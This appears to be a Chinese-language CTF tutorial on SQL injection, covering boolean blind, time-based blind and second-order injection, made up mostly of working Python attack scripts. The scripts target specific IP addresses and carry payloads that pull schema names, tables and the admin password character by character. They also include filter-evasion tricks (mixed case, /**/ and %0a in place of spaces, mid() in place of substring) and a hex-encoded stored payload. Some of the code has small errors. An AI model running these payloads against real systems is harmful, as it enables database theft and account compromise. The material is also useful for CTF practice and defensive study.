payload请参考：http://www.freebuf.com/articles/web/120985.html
1.正常盲注
_username = “amin’ or (*)#
正常盲注就是，通过在注入点处，构造一个payload，每次都从数据库的数据中进行单个字符的比较，最后爆出整条数据
*里面是一条SQL语句，当它在经历过滤系统后正确或者错误执行的话，此处的注入返回的内容会不同
#coding=utf-8
import requests
def login(_username,_password):
#需要改动处
url = "http://58.154.33.13:8001/login.php"
data = {
"username":_username,
"password":_password
}
response = requests.post(url,data=data)
content = response.content
#print content
#这里是判断盲注的单个字符是否正确的条件，一般这个脚本模板在使用之前要修改此处
#此题是因为注入username字段，当payload后面的语句正确的时候，返回的是密码错误，如果错误返回用户名错误
#payload=_username = "amin' or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username='admin'),%d,1)))=%d))#" %(i,j)
if "密码错误" in content:
return True
else:
return False
def main():
find_name = ""
# i 表示了所要查找的名字的最大长度
for i in range(0x50):
# 0x80=128 , 0x20=32, 32-128为可显示的字符的区间
for j in range(0x80 , 0x20 , -1):
#mysql 官方注释 "-- " --后面有空格,或者用 "#"
#_username = "amin' or (((asCIi(sUBsTring((sELect/**/gROup_conCAt(sCHEma_name)/**/From/**/inFormation_SChema.scHemata),%d,1)))=%d))#" %(i,j) #此处是payload,需要改动
#_username = "amin' or (((asCIi(sUBsTring((sELect/**/sCHEma_name/**/From/**/inFormation_SChema.scHemata/**/Limit/**/3,1),%d,1)))=%d))#" %(i,j)
#_username = "amin' or (((asCIi(sUBsTring((sELect/**/group_concat(Table_name)/**/From/**/inFormation_SChema.tAbles/**/where/**/taBle_schema='sql1'),%d,1)))=%d))#" %(i,j)
#_username = "amin' or (((asCIi(sUBsTring((sELect/**/group_concat(columN_name)/**/From/**/inFormation_SChema.columns/**/where/**/taBle_naMe='admin'),%d,1)))=%d))#" %(i,j)
_username = "amin' or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username='admin'),%d,1)))=%d))#" %(i,j)
#_username = "amin' or (ASCII(sUBsTring((user()),%d,1)=%d )) --" %(i,j)
#_username = "amin'or(((asCIi(sUBString((sELEct/**/group_concat(scheMA_Name)/**/FRom/**/inforMATion_scheMa.schemaTa),%d,1)))=%d))-- " % (i, j)
#可改动处
_password="amin"
print _username
if login(_username,_password):
find_name+=chr(j)
print find_name
break
main()
2.时间盲注
时间盲注就是在注入之后返回的内容相同，没法进行判断的时候；
在mysql数据库中插入sleep()函数，如果()语句能正确执行的话，&&就不会短路，sleep()可以执行，这样响应时间就会增大；而()发生错误没有返回结果时，&&会把sleep()函数短路无法执行；
payload=admin’ or (*) && sleep(1)#
#!/usr/bin/env python
# encoding: utf-8
import requests
import time
def login(payload):
url = "http://58.154.33.13:8003/?order=%s" % (payload)
print "[+] %s" % (url)
#调用时间函数，记录发出时间
before_time = time.time()
response = requests.get(url)
content = response.content
if "Hacker" in content:
print "[-] WAF"
exit(1)
#接受时间
after_time = time.time()
#时间差，用来判断sleep()是否成功执行
offset = after_time - before_time
print "[+] Offset : %f" % (offset)
if offset > 2.5:
return True
else:
return False
def main():
data = ""
for i in range(1, 0x20, 1):
for j in range(0x20, 0x80, 1):
# payload = "0|!(ascii(mid((select%%0aname%%0afrom%%0aprice),%d,1))^%d)%%26%%26sleep(1)" % (i, j)
#%0a是换行符，因为过滤了空格
#substring()被过滤，用mid()函数绕过
payload = "0|!(ascii(mid((select%%0aflag%%0afrom%%0aflag),%d,1))^%d)%%26%%26sleep(3)" % (i, j)
if login(payload):
data += chr(j)
print "[+] Found : %s" % (data)
break
if __name__ == "__main__":
main()
3.二次注入
这个结合一道题目来讲解，题目的wp，题目的名称为phone num
- 解题思路
第一步：手机号有maxlength限制11位，但是可以通过修改html绕过。
第二步：手机号有is_numberic判断，16禁止可以绕过，并且注入到数据库的16进制会以字符串存储。
第三步：check功能语句为
Paste_Image.png
- 解题步骤
- 首先注册用户,如果phone不为数字回显示
Paste_Image.png
但是16进制可以
- 注册电话为99999 or 1=1 的16进制数据0x3939393939206F7220313D31
(这里需要修改maxlength，直接删掉就好了
Paste_Image.png
Paste_Image.png
- 登陆后
Paste_Image.png
- 点击check
Paste_Image.png
- 这里是数据库中有3条数据，而不是99999 or 1=1的电话有3个人。此处的sql语句为SELECT count(*) FROM user_phone where phone=99999 or 1=1
此时并没有phone为99999的用户
Paste_Image.png
这里查看源码发现
Paste_Image.png
- 编写盲注脚本来获取admin的phone
Paste_Image.png
最终得到flag
以上就是这道题的wp，然后接下来我们讲讲这个二次注入脚本，wp中的脚本有一点问题
二次注入：一般指的是把注入的payload写入数据库，然后之后执行的某个操作所执行的命令会读取到之前的payload，这个操作的命令加payload组合在一起正好形成了一个新的操作。
在这题中，先将 9999 or 1=1 user_phone表中的phone字段，然后下面这条数据库操作命令正好存在注入
Paste_Image.png
两者组合在一起，正好变成了
$sql = "select count(*) from user_phone where phone = 9999 or 1=1"
因此，返回的结果是3条电话记录，之后的注入脚本如下:
#!/usr/bin/env python
#encoding=utf-8
import requests
'''
payload组合之后的效果：
sql = select count(*) from 'userphone' where phone ={phone}
payload='0x9109999 and substr((select phone from user where id =1 ),%i,1)="%j"'
sql = select count(*) from 'userphone' where phone = 0x9109999 and substr((select phone from user where id =1 ),%i,1)="%j"
sql = select count(*) from 'userphone' where phone = 0x9109999 and 1 #要求0x910999这个需要在数据库中
'''
url = "http://" #服务器绝对路径
regiester_url = url+"regiester.php"
login_url = url + "login.php"
check_url = url +"check.php"
l = "0123456789abcdeflag{}-" #记得要有 -
s = requests.session()
def register(payload):
register_data = {"username":payload[2:].decode('hex'),"phone":payload,"password":"ichunqiu"}
register_r = s.post(url = register_url,data = register_data)
return register_r.text
def login(payload):
login_data = {"username":payload[2:].decode('hex'),"password":"ichunqiu"}
login_r = s.post(url = login_url,data = login_data)
return login_r.text
def check(payload):
check_r =s.post(url=check_url)
return check_r.text
if __name__ == '__main__':
flag = ""
for i in range(1,43):
for j in l:
payload = "0x"+'9999 and substr((select phone from user where id =1),'.encode('hex')+str(i).encode('hex')+',1)="'.encode('hex')+j.encode('hex')+'"'.encode('hex')
register(payload)
login(payload)
if "there only 0 people" not in check():
flag = flag+j
print flag
break
